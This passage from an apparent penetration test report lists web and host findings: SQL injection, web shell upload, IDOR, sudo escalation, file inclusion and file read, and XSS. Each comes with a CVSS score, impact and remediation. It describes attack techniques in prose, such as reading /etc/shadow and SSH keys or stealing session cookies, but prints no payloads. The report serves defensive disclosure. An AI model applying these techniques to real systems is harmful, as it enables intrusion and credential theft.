During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — Unrestricted File Upload — Web Shell Deployment
8.8
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application file upload functionality performed insufficient validation of uploaded content type and file extension. By manipulating the Content-Type header and using extension evasion techniques, it was possible to upload a server-executable PHP script to a web-accessible directory, establishing a persistent web shell on the target system.

Impact

An attacker who successfully uploads a web shell gains persistent, interactive command execution on the server as the web application process account. This provides a stable foothold that survives server restarts — enabling credential harvesting from configuration files, privilege escalation, and lateral movement to internal services. During this engagement, the uploaded web shell was the initial foothold that was subsequently used to escalate to root-level access.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Validate uploaded files by reading and comparing magic bytes (file signatures), not by trusting Content-Type headers or file extensions. Store all uploaded files outside the web root in a non-executable directory, or serve from a dedicated storage service (S3, Azure Blob). Rename uploaded files to randomised, non-executable names server-side. Implement strict file size limits and content-type allowlisting. Scan all uploaded content with antimalware software before processing.
F-004 — Insecure Direct Object Reference — Unauthorised Data Access
8.1
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application exposed direct references to internal objects — user IDs, document identifiers, and resource paths — in URL parameters and request bodies without verifying that the authenticated user has authorisation to access the referenced object. By modifying these identifiers, it was possible to access data belonging to other users.

Impact

An attacker with any authenticated account can access, modify, or delete data belonging to any other user in the application by enumerating or guessing object identifiers. In this engagement, IDOR exposure encompassed all registered user profiles, associated sensitive records, and configuration data. Where write operations were also exposed without authorisation checks, data integrity across the entire user base was at risk.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Implement server-side object-level authorisation checks on every request that accesses a resource — verify that the authenticated user owns or has explicit permission to access the referenced object, regardless of how the identifier was supplied. Replace sequential integer IDs in all external-facing references with randomly generated UUIDs or cryptographically opaque tokens. Conduct a comprehensive audit of all API endpoints for missing authorisation checks using an automated tool and manual review.
F-005 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-006 — Local File Inclusion — Sensitive File Disclosure
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application constructed file system paths using user-supplied parameters without adequate sanitisation or path canonicalisation. By injecting path traversal sequences into the vulnerable parameter, it was possible to traverse outside the intended directory and read arbitrary files from the server file system.

Impact

An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from user home directories, and system files such as /etc/passwd and /etc/shadow. Credentials discovered through file inclusion were used during this engagement to gain authenticated access to additional services. In PHP applications, log poisoning chains this vulnerability to full remote code execution.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Validate all file path inputs by canonicalising the resolved path and verifying it begins within the expected base directory before any file operation. Implement a strict allowlist of permitted filenames where dynamic file access is required. Apply PHP open_basedir restrictions to prevent file access outside the application directory. Remove file inclusion functionality that relies on user-supplied paths and replace with explicit, hardcoded include statements.
F-007 — Arbitrary File Read — Credential and Key Disclosure
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application read files from the server filesystem based on user-controlled path parameters without adequate validation, restriction, or canonicalisation. By manipulating the file path parameter with traversal sequences or absolute paths, it was possible to read files outside the intended directory — including sensitive system and application credential files.

Impact

An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from home directories, and system files. Credentials discovered through arbitrary file read during this engagement were used to authenticate to additional services and escalate the attack to server-level access, demonstrating that a single file read vulnerability can cascade to full system compromise.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Validate all file path inputs by canonicalising the resolved path and verifying it begins with the expected base directory before any file operation. Implement a strict allowlist of permitted filenames where dynamic file access is required. Ensure the web application process account has file system read access only to directories it operationally requires. Remove or restrict file download and preview functionality that relies on user-supplied paths and replace with indirect references mapped server-side.
F-008 — Cross-Site Scripting (XSS) — Session Hijacking
6.1
Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Description

During the penetration test, it was discovered that the application reflected or stored user-supplied input in HTML responses without applying appropriate context-sensitive output encoding. By injecting JavaScript payload into vulnerable input fields, the malicious script executes in the browser of any user who views the affected page — including administrators — without any interaction beyond viewing the page.

Impact

An attacker can hijack authenticated user sessions by stealing session cookies, capture credentials entered on the affected page, perform actions on behalf of victims using their active session, and redirect users to phishing pages. Where the XSS affects administrator users, complete application account takeover is achievable. During this engagement, a stored XSS payload targeting an administrator triggered session token theft which was used to obtain privileged application access.

Confidentiality
Low
Integrity
Low
Availability
None

Remediation

Apply context-sensitive output encoding for all user-supplied data rendered in HTML — HTML entity encoding for HTML context, JavaScript string escaping for script context, URL encoding for URL attributes. Implement a strict Content Security Policy (CSP) that disables inline script execution and restricts script sources to trusted origins. Set the HttpOnly flag on all session cookies to prevent JavaScript access. Apply the SameSite=Strict cookie attribute to mitigate CSRF-combined XSS chains.
Reactions

Related Articles